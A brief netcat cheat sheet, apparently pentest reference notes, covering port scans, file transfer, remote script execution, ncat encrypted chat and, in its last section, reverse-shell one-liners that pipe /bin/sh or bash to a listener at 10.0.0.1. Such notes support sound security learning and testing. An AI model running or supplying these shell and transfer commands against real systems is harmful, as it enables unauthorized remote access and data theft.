Netcat#

Netcat reads and writes data across networks. The operator chains it for port scans, file transfer, remote shells, banner grabbing, and encrypted pivots.

Port scan#

$ nc -nvz <IP> <PORT|RANGE>
$ nc -nvz 192.168.1.23 80
$ nc -nvz 192.168.1.23 0-1000

Send file#

# Client
$ nc -lvp <LPORT> > example_sent.txt
# Server
$ nc -w3 <CLIENT_IP> <PORT> < example.txt

Receive file#

# Server
$ nc -lvp <LPORT> < example.txt
# Client
$ nc -w3 <SERVER_IP> <PORT> > example_exfil.txt

Execute remote script#

# Server
$ nc -lvp <LPORT> -e ping.sh <IP>
# Client
$ nc -nv <SERVER_IP> <PORT>

Encrypted chat with ncat#

# Server
$ ncat -nlvp <LPORT> --ssl
# Client
$ ncat -nv <SERVER_IP> <PORT>

Shells, reverse shells#

$ nc -e /bin/sh   10.0.0.1 <LPORT>
$ nc -e /bin/bash 10.0.0.1 <LPORT>
$ nc -c bash      10.0.0.1 <LPORT>

References#

  • man 1 nc